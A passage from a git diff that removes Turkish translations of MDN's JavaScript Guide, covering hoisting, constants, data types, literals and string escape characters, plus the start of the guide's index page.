"yerel değerim"; -})(); -</pre> - -<p>Üstteki örnekler bilgisayar tarafından aşağıdaki şekilde yorumlanır:</p> - -<pre class="brush: js">/** - * Örnek 1 - */ -var x; -console.log(x === undefined); // "true" yazar -x = 3; - -/** - * Örnek 2 - */ -var degiskenim = "değerim"; - -(function() { - var degiskenim; - console.log(degiskenim); // undefined yazar - degiskenim = "yerel değerim"; -})(); -</pre> - -<p>Yukarı alma ile ilgili sorunların yaşanmaması için, fonksiyon içerisinde yer alan bütün değişken tanımları olabildiğince en üste taşınmalıdır. Değişken tanımlamanın en iyi yöntemi de zaten budur. Bu sayede kodun okunabilirliği artmış olur. </p> - -<p>ECMAScript 2015'te, <code>let</code> veya <code>const</code> ifadesi ile tanımlanan değişken, üste alınmaz. Değişken tanımından önce o değişkenin kullanılmaya çalışılırsa {{jsxref("ReferenceError")}} hatası ile sonuçlanır. Değişken, bloğun başlangıcından itibaren tanımının yapıldığı yere kadar ölü bölgededir.</p> - -<h3 id="Fonksiyonu_yukarı_alma">Fonksiyonu yukarı alma</h3> - -<p>Fonksiyonlarda, yalnızca fonksiyon tanımı yukarı alınır. Fonksiyon ifadesine erişilmeye çalışıldığında ise hata oluşur.</p> - -<pre class="brush: js">/* fonksiyon tanımlama */ - -foo(); // "bar" - -function foo() { - console.log('bar'); -} - - -/* fonksiyon ifadesi */ - -baz(); // TypeError: baz is not a function - -var baz = function() { - console.log('bar2'); -}; -</pre> - -<h3 id="Global_değişkenler">Global değişkenler</h3> - -<p>Global değişkenler aslında temel bir <em>global nesne</em>nin özellikleridirler. Web sayfalarında bulunan global nesnenin adı {{domxref("window")}} 'dur. Böylece global değişkenlere, <code>window.<em>variable</em></code> söz dizimi kullanılarak erişilebilir.</p> - -<p>Sonuç olarak, herhangi bir window veya iframe'deki global değişkenlere, diğer window veya iframe üzerinden değişkenin ismi kullanılarak erişilebilir. Örneğin, eğer bir dokümanda <code>telefonNumarası</code> isminde bir değişken tanımlanmışsa, bu değişkene iframe içerisinden <code>parent.telefonNumarası</code> şeklinde erişebilirsiniz.</p> - -<h3 id="Sabitler">Sabitler</h3> - -<p>{{jsxref("Statements/const", "const")}} anahtar kelimesi ile sabit bir değişken oluşturabilirsiniz. Sabit değerler için söz dizimi, değişken değerleri ile aynıdır: bir harf, alt çizgi veya dolar işareti ile başlamalıdırlar, devamında ise alfabetik, sayısal veya alt çizgi gibi karakterler gelebilir.</p> - -<pre><code>const PI = 3.14;</code></pre> - -<p>JavaScript kodu çalışırken bir sabitin değeri, atama yapılarak değiştirilemez ve sabit tekrar tanımlanamaz. Ayrıca sabitlere başlangıçta tanımlanırken bir değer atanması zorunludur.</p> - -<p>Sabitlerin etki alanı <code>let </code>bloğunun etki alanındaki değişkenler ile aynıdır. Eğer <code>const </code>ifadesi çıkarılırsa, ifade artık değişken haline gelir.</p> - -<p>Bir etki alanında, halihazırda bir fonksiyon veya değişken varsa, aynı isimli sabit tanımlamak hataya yol açar. Örneğin:</p> - -<pre class="example-bad brush: js">// BU HATAYA NEDEN OLUR -function f() {}; -const f = 5; - -// BU DA HATAYA NEDEN OLUR -function f() { - const g = 5; - var g; -} -</pre> - -<p>Sabit bir nesneye atanan özellikler diğer fonksiyonların kullanımına karşı korunmamışlardır ve nesnenin kendisi sabit olmasına rağmen değişken değerler alabilirler. Bu sebeple aşağıdaki ifade sorunsuz bir şekilde çalışır.</p> - -<pre><code>const BENIM_NESNEM = {"anahtar": "değer"}; -BENIM_NESNEM.anahtar = "diğerDeğer";</code></pre> - -<h2 id="Veri_yapıları_ve_tipleri">Veri yapıları ve tipleri</h2> - -<h3 id="Veri_tipleri">Veri tipleri</h3> - -<p>Son yayınlanan ECMAScript standardı ile yedi veri tipi tanımlanabilir:</p> - -<ul> - <li>Altı adet veri türü {{Glossary("Primitive", "primitives")}}'dir: - <ul> - <li>{{Glossary("Boolean")}}. <code>true</code> ve <code>false</code>.</li> - <li>{{Glossary("null")}}. <code>null</code> değeri belirten özel anahtar kelime. JavaScript büyük-küçük karaktere duyarlı olduğu için, <code>null</code> ifadesi <code>Null</code>, <code>NULL</code>, veya diğer değişkenler ile aynı değildir.</li> - <li>{{Glossary("undefined")}}. Değeri tanımsız olan özellikler için <code>undefined</code>'tır.</li> - <li>{{Glossary("Number")}}. <code>42</code> ya da <code>3.14159</code>.</li> - <li>{{Glossary("String")}}. "Zafer"</li> - <li>{{Glossary("Symbol")}} (ECMAScript 6 ile yeni geldi). Özellikleri eşsiz (unique) ve değiştirilemez (immutable) olan nesnelerdir.</li> - </ul> - </li> - <li>ve {{Glossary("Object")}} veri türü</li> -</ul> - -<p>Veri tipleri nispeten az miktarda olmalarına rağmen, uygulamalarınızla yararlı işlevler oluşturmanıza olanak sağlarlar. {{jsxref("Object", "Objects")}} (nesneler) ve {{jsxref("Function", "functions")}} (fonksiyonlar) dilin diğer temel elemanlarıdırlar. Nesneleri, değerleriniz için isimlendirilmiş kutular, fonksiyonları (functions) ise uygulamanızın gerçekleştirebileceği işlevler olarak düşünebilirsiniz.</p> - -<h3 id="Veri_tipi_dönüşümü">Veri tipi dönüşümü</h3> - -<p>JavaScript dinamik tipli bir dildir. Bunun anlamı, bir değişken tanımlarken, veri tipini belirtme zorunluluğunuzun olmaması ve değişkenin veri tipinin çalışma esnasında ihtiyaç olunan tipe otomatik olarak dönüştürülmesidir. Örneğin sayısal bir değişken tanımlayabilirsiniz:</p> - -<pre class="brush: js">var yanit = 42; -</pre> - -<p>Ve sonra, aynı değişkene string bir değer atayabilirsiniz:</p> - -<pre class="brush: js">yanit = "Hoşçakal, balık için teşekkürler..."; -</pre> - -<p>JavaScript dinamik tipli olduğu için, bu atama bir hata vermez.</p> - -<p>Bir string ve sayının toplama işlemine konulması ile JavaScript otomatik olarak sayısal değeri string ifadeye çevirir ve eklenecek string ile birleştirir. Örneğin aşağıdaki ifadelere bakalım:</p> - -<pre class="brush: js">x = "Cevap " + 42 // "Cevap 42" -y = 42 + " cevaptır." // "42 cevaptır." -</pre> - -<p>Toplama işlemi dışındaki diğer işlemlerde JavaScript otomatik olarak tür dönüşümü yapmaz. Örneğin:</p> - -<pre class="brush: js">"37" - 7 // 30 -"37" + 7 // "377" -</pre> - -<h3 id="String_ifadelerin_sayısal_değerlere_dönüştürülmesi">String ifadelerin sayısal değerlere dönüştürülmesi</h3> - -<p>Bellekte sayısal bir ifadeyi temsil eden bir string'in olduğu durumlarda tip dönüşümü yapmak için aşağıdaki metodları kullanabilirsiniz: </p> - -<ul> - <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li> - <li>{{jsxref("parseFloat", "parseFloat()")}}</li> -</ul> - -<p><code>parseInt</code> fonksiyonu sadece tam sayı döndürür, bu yüzden ondalık sayılarla kullanıldığında ondalık kısmını atar. Buna ek olarak parseInt'in en uygun kullanımlarından biri de sayının hangi tabanda (2'lik, 10'luk, 16'lık vb.) yazılabileceğini parametre olarak fonksiyona verebilmenizdir. Taban parametresi hangi sayısal sistemin kullanılacağının belirlenmesini sağlar.</p> - -<p>String ifadelerin, sayısal ifadelere dönüştürülmesinin diğer bir yolu da, string ifadenin başına + operatörünün eklenmesidir:</p> - -<pre class="brush: js">"1.1" + "1.1" = "1.11.1" -(+"1.1") + (+"1.1") = 2.2 -// Not: parantezler gösterim kolaylığı için konulmuştur, zorunlu değildir.</pre> - -<h2 id="Değişken_değerleri">Değişken değerleri</h2> - -<p>JavaScript'te değişkenlerin temsil edilmesi için değerler kullanırsınız. Bunlar, kodunuzda değişkenlere <code>=</code> operatöründen sonra atadığınız değerlerdir. Bu kısımda aşağıdaki değer tiplerini inceleyeceğiz:</p> - -<ul> - <li>{{anch("Dizi değerleri")}}</li> - <li>{{anch("Boolean değerleri")}}</li> - <li>{{anch("Ondalıklı-sayı değerleri")}}</li> - <li>{{anch("Tam sayılar")}}</li> - <li>{{anch("Nesne değerleri")}}</li> - <li>{{anch("String değerleri")}}</li> -</ul> - -<h3 id="Dizi_değerleri">Dizi değerleri</h3> - -<p>Bir dizi değeri 0 veya daha fazla ifadeden oluşan liste biçimindedir, liste başında ve sonunda listeyi açıp/kapatan köşeli parantezler [ ] bulunur. Bir dizi oluşturup bu diziye değerler atadığınızda, belirlediğiniz değerleri kendi elemanı olarak barındıran bir dizi üretilir ve dizinin uzunluğu belirlediğiniz değer sayısı kadardır.</p> - -<p>Aşağıdaki örnekte, 3 elemanı barındıran ve bu nedenle 3 uzunluğunda olan <code style="font-style: normal; font-weight: normal;">kahveler</code> isimli bir dizi oluşturulmaktadır:</p> - -<pre class="brush: js">var kahveler = ["Türk kahvesi", "Espresso", "Mocha"]; -</pre> - -<div class="note"> -<p><strong>Not :</strong> Bir dizi değeri, bir nesne başlatıcısı türündedir. Dahası için bkz: <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers" title="en-US/docs/JavaScript/Guide/Working with Objects#Using Object Initializers">Nesne başlatıcılarının kullanımı</a>.</p> -</div> - -<p>Eğer bir dizi, üst-seviye betikte sabit değer kullanarak oluşturulmuşsa JavaScript, bu diziyi içeren her ifadeyi çalıştırdığında diziyi yorumlar. Buna ek olarak, fonksiyon içerisinde tanımlanan diziler, her fonksiyon çağrımında yeni bir dizi olarak bellekte oluşturulur.</p> - -<p>Dizi değerleri ayrıca <code>Array</code> nesneleridirler. Detaylı bilgi için {{jsxref("Array")}} ve <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Index'li koleksiyonlar</a> kısmına bakınız.</p> - -<h4 id="Dizi_değerleri_arasında_bulunan_fazladan_virgül">Dizi değerleri arasında bulunan fazladan virgül</h4> - -<p>Dizi tanımlarken her değeri belirlemek zorunda değilsiniz. Eğer iki tane virgülü art arda koyarak dizi oluşturursanız, virgüller arasında kalan tanımlanmayan her değer için <code>undefined</code> değeri üretilir. Aşağıdaki örnekte bir <code>balık</code> dizisi oluşturulmaktadır:</p> - -<pre class="brush: js">var balik = ["Japon", , "Melek"]; -</pre> - -<p>Bu dizi değerlere sahip 2 elemana ve bir tane boş elemana sahiptir (<code>balik</code><code>[0]</code> = "Japon", <code>balik[1]</code> = <code>undefined</code>, ve <code>balik[2]</code> = "Melek").</p> - -<p>Eğer dizideki elemanların sonuna virgül koyarsanız virgül, JavaScript tarafından görmezden gelinir. Aşağıdaki örnekte bulunan dizinin uzunluğu üçtür. <code>dizi[3]'</code>ü ifade eden herhangi bir eleman bulunmamaktadır. Listedeki diğer virgüller, undefined değerine sahip yeni bir elemanı ifade eder. </p> - -<div class="note"> -<p><strong>Not :</strong> Sona konan virgüller, eski versiyonlu tarayıcılarda hatalara neden olur. Yapılacak en doğru şey, dizi sonlarında kullanılan virgüllerin kaldırılmasıdır.</p> -</div> - -<pre class="brush: js">var dizi = ['ev', , 'okul', ]; -</pre> - -<p>Aşağıdaki örnekte oluşturulan dizinin uzunluğu, <code>dizi[0]</code> ve <code>dizi[2] </code>değerleri tanımlanmadığı halde 4'tür.</p> - -<pre class="brush: js">var dizi = [ , 'ev', , 'okul']; -</pre> - -<p>Aşağıdaki bir diğer örnekte, dizinin uzunluğu, <code>dizi[1]</code> ve <code>dizi[3]</code> değerleri tanımlanmadığı halde yine 4'tür. Sadece son virgül görmezden gelinir.</p> - -<pre class="brush: js">var dizi = ['ev', , 'okul', , ]; -</pre> - -<p>Ekstra virgüllerin davranışlarının kavranılması, JavaScript dilinin öğrenilmesi için çok önemlidir, ancak kendi kodunuzu yazarken tanımsız elemanları <code>undefined</code> olarak dizi içerisinde belirlemeniz, kodunuzun okunabilirliğini ve bakım yapılabilirliğini önemli ölçüde arttıracaktır.</p> - -<h3 id="Boolean_değerleri">Boolean değerleri</h3> - -<p>Boolean tipinde iki çeşit değer bulunur: <code>true</code> (doğru) ve <code>false</code> (yanlış).</p> - -<p>İlkel Boolean değerleri olan <code>true</code> ve <code>false</code> ile <em>Boolean</em> nesnesi olan true ve false değerlerini karıştırmayınız. Boolean nesnesi, ilkel olan Boolean veri tipinin alınması ve üzerine bazı ek özellikler getirilmesi ile oluşturulmuştur. Daha fazlası için bkz: {{jsxref("Boolean")}}.</p> - -<h3 id="Tam_sayılar">Tam sayılar</h3> - -<p>Tam sayılar; ikilik (binary) (2 tabanında), sekizlik (octal) (8 tabanında), onluk (decimal) (10 tabanında), ve onaltılık (hexadecimal) (16 tabanında) temsil edilebilirler.</p> - -<ul> - <li>Başında 0b (veya 0B) yer alan tam sayı ifadeleri ikiliktirler. İkilik tam sayılar sadece 0 ve 1 rakamlardan oluşurlar.</li> - <li>Başında 0 (sıfır) yer alan tam sayı ifadeleri sekizliktirler. Sekizlik tamsayılar sadece 0-7 arasındaki rakamlardan oluşurlar.</li> - <li>Onluk tam sayı değeri, 0 (sıfır) ile başlamayan rakamlardan oluşurlar.</li> - <li>Başında 0x (veya 0X) yer alan tam sayı ifadeleri onaltılıktırlar. Onaltılık tamsayılar, 0-9 arasındaki rakamları içerebildiği gibi aynı zamanda a-f veya A-F arasındaki harfleri de barındırabilirler.</li> -</ul> - -<p>Bazı örnek tamsayılar:</p> - -<pre class="eval">0, 117 and -345 (onluk, 10 tabanında) -015, 0001 and -077 (sekizlik, 8 tabanında) -0x1123, 0x00111 and -0xF1A7 (onaltılık, "hex" veya 16 tabanında) -0b11, 0b0011 and -0b11 (ikilik, 2 tabanında) -</pre> - -<p>Daha fazlası için bkz: <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Sayısal değerler ve sözsel gramer başvurusu</a>.</p> - -<h3 id="Ondalıklı_değerler">Ondalıklı değerler</h3> - -<p>Bir ondalıklı değer aşağıdaki kısımları içerebilir:</p> - -<ul> - <li>İşaretli olabilen bir onluk sayı ("<code>+</code>" veya "<code>-</code>" ile başlayabilir),</li> - <li>Bir nokta ("<code>.</code>"),</li> - <li>Ondalık (noktadan sonra diğer onluk sayı),</li> - <li>Bir katsayı.</li> -</ul> - -<p>Katsayı kısmı bir "e" veya "E" karakteridir ve devamında işaretli olabilen bir tamsayı gelir. Ondalıklı değerin tanımlanabilmesi için en az bir rakam ve devamında ondalıklı sayı ve katsayı "e" (veya "E") içermelidir.</p> - -<p>Özetle söz dizimi aşağıdaki şekildedir:</p> - -<pre class="eval">[(+|-)][rakamlar][.rakamlar][(E|e)[(+|-)]rakamlar] -</pre> - -<p>Örneğin:</p> - -<pre class="eval">3.1415926 --.123456789 --3.1E+12 -.1e-23 -</pre> - -<h3 id="Nesne_değerleri">Nesne değerleri</h3> - -<p>Bir nesne değeri, süslü parantezlerle <code>{}</code> çevrili sıfır veya daha fazla özellik ismi ve bu özellikler ile ilişkili değerleri içeren bir listeden oluşur. Bir kod satırının başlangıcında değişken ismi olmadan sadece süslü parantezler ile başlayarak bir nesne <u>oluşturmamanız</u> gerekmektedir. Eğer oluşturursanız, JavaScript nesne başlangıcındaki <code>{</code> karakterini, bir kod bloğuna başlangıç yapılıyormuş gibi yorumlar ve bunun sonucunda ya bir hata mesajı alırsınız, ya da yazdığınız kod beklediğiniz şekilde çalışmaz.</p> - -<p>Aşağıda, nesne değerini içeren bir örnek bulunmaktadır. <code>otoGaleri</code> nesnesinin ilk elemanı, "<code>Fiat</code>" değerini barındıran <code>arabam</code> isminde bir özelliği tanımlamaktadır; ikinci elemanı <code>arabaAl</code> özelliğidir ve <code>function</code> <code>(arabaTipleri("Honda"))</code> fonksiyonu çalıştırıldıktan hemen sonra fonksiyonun sonucunu içerir; üçüncü eleman <code>sporArabaAl</code> özelliğidir, halihazırda varolan <code>hayalimdekiAraba</code> değişkenini kullanır.</p> - -<pre class="brush: js">var hayalimdekiAraba = "Bugatti"; - -function arabaTipleri(markaAdı) { - if (markaAdı == "Wolksvagen") { - return markaAdı; - } else { - return "Üzgünüz, malesef " + markaAdı + " marka araba elimizde bulunmamaktadır."; - } -} - -var otoGaleri = { - arabam: "Fiat", - arabaAl: arabaTipleri("Wolksvagen"), - sporArabaAl: arabaTipleri(hayalimdekiAraba) -}; - -console.log(otoGaleri.arabam); // Fiat -console.log(otoGaleri.arabaAl); // Wolksvagen -console.log(otoGaleri.sporArabaAl); // Üzgünüz, malesef Bugatti marka araba elimizde bulunmamaktadır. -</pre> - -<p>Ek olarak, sayısal veya string bir değer, özellik adı veya iç içe olan diğer bir nesnenin adı yerine kullanabilir. Aşağıdaki örnekte bu seçenekleri görebiliriz:</p> - -<pre class="brush: js">var otoGaleri = { - arabalar: {s: "Saab", "j": "Jeep"}, - 7: "Mazda" -}; - -console.log(otoGaleri.arabalar.j); // Jeep -console.log(otoGaleri[7]); // Mazda -</pre> - -<p>Nesne özelik adları boş bir string de dahil olmak üzere herhangi bir string ifade olabilirler. Eğer özellik adı geçerli bir JavaScript {{Glossary("Identifier","identifier")}} değilse, tırnak içinde yazılması gereklidir. Buna ek olarak geçersiz olan özellik adlarına, nokta (<code>.</code>) ile erişim yapılamaz, bunun yerine dizi tarzında köşeli parantezler(<code>[]</code>) kullanılır:</p> - -<pre class="brush: js">var geçersizÖzellikAdlarıÖrnek = { - "": "Boş bir string", - "!": "Ateş!" -} -console.log(geçersizÖzellikAdlarıÖrnek.""); // SyntaxError: Unexpected string -console.log(geçersizÖzellikAdlarıÖrnek[""]); // Boş bir string -console.log(geçersizÖzellikAdlarıÖrnek.!); // SyntaxError: Unexpected token ! -console.log(geçersizÖzellikAdlarıÖrnek["!"]); // Ateş!</pre> - -<p>Diğer örnekler:</p> - -<pre class="brush: js">var nesne = {a: "armut", 2: "iki"}; -console.log(nesne.a); // armut -console.log(nesne[2]); // iki -//console.log(nesne.2); // Error: missing ) after argument list -//console.log(nesne[a]); // Error: a is not defined -console.log(nesne["a"]); // armut -console.log(nesne["2"]); // iki -</pre> - -<h3 id="Düzenli_İfade_RegExp_değerleri">Düzenli İfade (RegExp) değerleri</h3> - -<p>Bir düzenli ifade değeri bölü (<code>/</code>) karakterleri arasında ifade edilir. Aşağıda, örnek bir düzenli ifade bulunmaktadır:</p> - -<pre><code>var re = /ab+c/;</code></pre> - -<h3 id="String_değerleri">String değerleri</h3> - -<p>Bir string değer çift tırnak (") veya tek tırnak (') arasında bulunan sıfır veya daha fazla karakterlerin yer almasıyla oluşur. Bir string değer aynı tip tırnak ile sonlanmalıdır; bu nedenle karakterleri kapsayan tırnaklar ya çift tırnak ya da tek tırnak ikililerinden oluşmalıdır. Aşağıdaki örnekte string değerler ifade edilmiştir:</p> - -<pre class="eval">"elma" -'armut' -"1234" -"bir satır \n diğer satır" -"Zafer'in kedisi" -</pre> - -<p><em>String</em> nesnesinin herhangi bir fonksiyonuna, string değerin sonuna nokta koyarak erişebilir ve çalıştırabilirsiniz—JavaScript otomatik olarak string değeri geçici bir <em>String</em> nesnesine dönüştürür, metodu çağırır, ve sonra oluşan geçici String nesnesini hafızadan siler. Ayrıca <code>String.length</code> özelliğini de string değerinin sonuna <code>.length</code> ekleyerek kullanablirsiniz:</p> - -<pre class="brush: js">console.log("Zafer'in kedisi".length); -// Boşluk da dahil olmak üzere, string içerisindeki tüm sembollerin sayısını ekrana yazar. -// Ekrana yazılan değer: 15 -</pre> - -<p><code>String</code> nesnesine hususi olarak ihtiyaç duymadığınız durumlarda, string değerleri kullanmanız gerekir. <code>String</code> nesneler için bkz: {{jsxref("String")}}.</p> - -<h4 id="Özel_karakterlerin_string_değerlerde_kullanımı">Özel karakterlerin string değerlerde kullanımı</h4> - -<p>String değerler oluştururken, her zamanki kullandığınız karakterlere ek olarak aşağıdaki şekilde özel karakterler de kullanabilirsiniz:</p> - -<pre class="brush: js">"bir satır \n diğer satır" -</pre> - -<p>Aşağıdaki tabloda, JavaScript string değerleri içerisinde kullanabileceğiniz özel karakterler listelenmiştir: </p> - -<table class="standard-table"> - <caption>Tablo: JavaScript özel karakterleri</caption> - <thead> - <tr> - <th scope="col">Karakter</th> - <th scope="col">Anlamı</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>\0</code></td> - <td>Boş değer</td> - </tr> - <tr> - <td><code>\b</code></td> - <td>Geri silme</td> - </tr> - <tr> - <td><code>\f</code></td> - <td>Form beslemesi</td> - </tr> - <tr> - <td><code>\n</code></td> - <td>Yeni satır</td> - </tr> - <tr> - <td><code>\r</code></td> - <td>Enter karakteri</td> - </tr> - <tr> - <td><code>\t</code></td> - <td>Tab</td> - </tr> - <tr> - <td><code>\v</code></td> - <td>Dikey tab</td> - </tr> - <tr> - <td><code>\'</code></td> - <td>Kesme işareti veya tek tırnak</td> - </tr> - <tr> - <td><code>\"</code></td> - <td>Çift tırnak</td> - </tr> - <tr> - <td><code>\\</code></td> - <td>Ters bölü (<code>\</code>) karakteri</td> - </tr> - <tr> - <td><code>\<em>XXX</em></code></td> - <td>3 adet sekizlik rakamı barındırabilen, ve 0-377 arasındaki XXX değerlerinin Latin-1 kodlaması ile oluşturulduğu karakterdir. Örneğin, sekizlik \251 değeri telif hakkı sembolünü (<strong>©)</strong> ifade eder.</td> - </tr> - <tr> - </tr> - <tr> - <td><code>\x<em>XX</em></code></td> - <td> - <p>2 adet onaltılık karakteri barındırabilen ve 00-FF arasındaki XX değerlerinin Latin-1 kodlaması ile oluşturduğu karakterdir. Örneğin, onaltılık \xA9 değeri telif hakkı sembolünü (<strong>©)</strong> ifade eder.</p> - </td> - </tr> - <tr> - </tr> - <tr> - <td><code>\u<em>XXXX</em></code></td> - <td> - <p>4 adet onaltılık karakteri barındırabilen XXXX değerleri ile belirlenen Unicode karakteridir. Örneğin \u00A9 karakteri, Unicode olarak telif hakkı sembolünü (<strong>©)</strong> ifade eder. Bkz: <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode kaçış karakterleri</a>.</p> - </td> - </tr> - <tr> - <td>\u<em>{XXXXX}</em></td> - <td>Unicode kod noktası kaçış karakterlerini ifade eder. Örneğin, \u{2F804} karakteri, \uD87E\uDC04 ile aynı sembolü ifade eder.</td> - </tr> - </tbody> -</table> - -<h4 id="Kaçış_karakterleri">Kaçış karakterleri</h4> - -<p><span style='color: #3b3c40; font-family: "Open Sans",Arial,sans-serif; font-size: 14px;'>Üstteki tabloda yer almayan karakterlerin başına ters bölü işaretinin konulduğunda, ters bölü işareti göz ardı edilir, fakat bu tarz kullanım artık rafa kaldırılmıştır ve kullanımından kaçınılması gerekir. </span></p> - -<p>Bir string değer içerisinde tırnak işaretini kullanabilmeniz için, karakterin başına ters bölü işareti eklemeniz gerekir. Bu kullanıma <strong>tırnaktan kaçış</strong> (<em>escaping</em> the quotation mark) denir. Örneğin:</p> - -<pre class="brush: js">var alıntı = "Sebahattin Ali'nin \"Kürk Mantolu Madonna\" adlı kitabını okudu."; -console.log(alıntı); -</pre> - -<p>Ekran çıktısı aşağıdaki gibi olacaktır:</p> - -<pre class="eval">Sebahattin Ali'nin "Kürk Mantolu Madonna" adlı kitabını okudu. -</pre> - -<p>String değer içerisinde ters bölü işaretini kullanabilmeniz için, tekrar bir ters bölü karakteri daha eklemeniz gerekir. Örneğin <code>c:\temp</code> isimli dosya yolunu, bir string olarak aşağıdaki şekilde ifade edebiliriz:</p> - -<pre class="brush: js">var geçiciDosyalarDizini = "c:\\temp"; -</pre> - -<p>Uzun string değerleri satır satır yazmak için tırnak artı tırnak (<code>" + "</code>) işaretleri ile eklemek yerine satır sonuna sadece ters bölü işareti ekleyebilirsiniz. Ters bölü ve satır sonu karakterleri, string değerinden çıkarılmış olarak tek satır halinde döndürülür.</p> - -<pre class="brush: js">var metin = "Bu metin \ -birçok \ -satıra ayrılarak \ -oluşturulmuştur." -console.log(metin); // Ekran çıktısı: Bu metin birçok satıra ayrılarak oluşturulmuştur. -</pre> - -<p>JavaScript'in paragrafları tanımlamak için bir söz dizimi bulunmamasına rağmen, her satır sonuna <code>\n\</code> karakterleri ekleyerek paragraf oluşturabilirsiniz:</p> - -<pre class="brush: js">var şiir = -"Sana gitme demeyeceğim \n\ -Ama gitme Lavinia \n\ -Adını gizleyeceğim \n\ -Sen de bilme Lavinia."; -</pre> - -<h2 id="Daha_fazlası">Daha fazlası</h2> - -<p>Bu bölümde, tanımlamalar ve türler için temel söz dizimleri konuları üzerinde durulmuştur. JavaScript'in dil oluşturucularıyla ilgili daha fazla bilgi edinmek için bu rehberde bulunan aşağıdaki bölümleri inceleyebilirsiniz:</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Kontrol akışı ve hata yakalama</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Döngüler ve iterasyon</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Fonksiyonlar</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">İfadeler ve operatörler</a></li> -</ul> - -<p>Sonraki bölümde, kontrol akışının oluşturulması ve hata yakalamaya göz atacağız.</p> - -<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p> diff --git a/files/tr/web/javascript/guide/index.html b/files/tr/web/javascript/guide/index.html deleted file mode 100644 index 5e4e177f58..0000000000 --- a/files/tr/web/javascript/guide/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: JavaScript Rehberi -slug: Web/JavaScript/Guide -tags: - - AJAX - - Intermediate - - JavaScript - - JavaScript_Guide - - NeedsTranslation - - TopicStub -translation_of: Web/JavaScript/Guide ---- -<div>{{jsSidebar("JavaScript Rehberi")}}</div> - -<p class="summary">JavaSript Rehber'i size <a href="/tr/docs/Web/JavaScript">JavaScript'i</a> nasıl kullanacağınızı ve dil hakkında genel bir bakış açısını sunar. JS hakkında daha geniş bir bilgiye ihtiyacınız varsa, <a href="/tr/docs/Web/JavaScript/Reference">JavaScript referansına</a> bakınız.</p> - -<ul class="card-grid"> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Introduction">Giriş</a></span> - - <p><a href="/tr/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">Rehber hakkında</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript.3F">JavaScript hakkında</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript ve Java</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Araçlar</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Introduction#Hello_world">Merhaba Dünya</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types">Dil bilgisi ve türler</a></span> - <p><a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Temeller">Temel söz dizimleri ve yorumlar</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Tanımlamalar">Tanımlamalar</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkenin_etki_alanı">Değişkenin etki alanı </a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkeni_yukarı_alma_(hoisting)">Değişkeni fonksiyon dışına alma(hoisting) </a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Veri_yapıları_ve_tipleri">Veri yapıları ve tipleri</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Sabitler">Sabitler</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler">Kontrol akışı ve hata yakalama</a></span> - <p><code><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#if...else_statement">if...else</a></code><br> - <code><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#switch_statement">switch</a></code><br> - <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Utilizing_Error_objects">Hata nesneleri</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Promises">Promise nesneleri</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration">Döngüler ve yinelemeler</a></span> - <p><code><a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for_döngüsü">for</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#while_döngüsü">while</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_döngüsü">do...while</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#break_ifadesi">break</a>/<a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_ifadesi">continue</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_döngüsü">for..in</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_döngüsü">for..of</a></code></p> - </li> -</ul> - -<ul class="card-grid"> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Functions">Fonksiyonlar</a></span> - - <p><a href="/tr/docs/Web/JavaScript/Guide/Functions#Defining_functions">Fonksiyon tanımlama</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Functions#Calling_functions">Fonksiyon çağırma</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Functions#Function_scope">Fonksiyonun uzayı</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Functions#Closures">Değişken gizleme (Closures</a>)<br> - <a href="/tr/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Argümanlar</a> ve <a 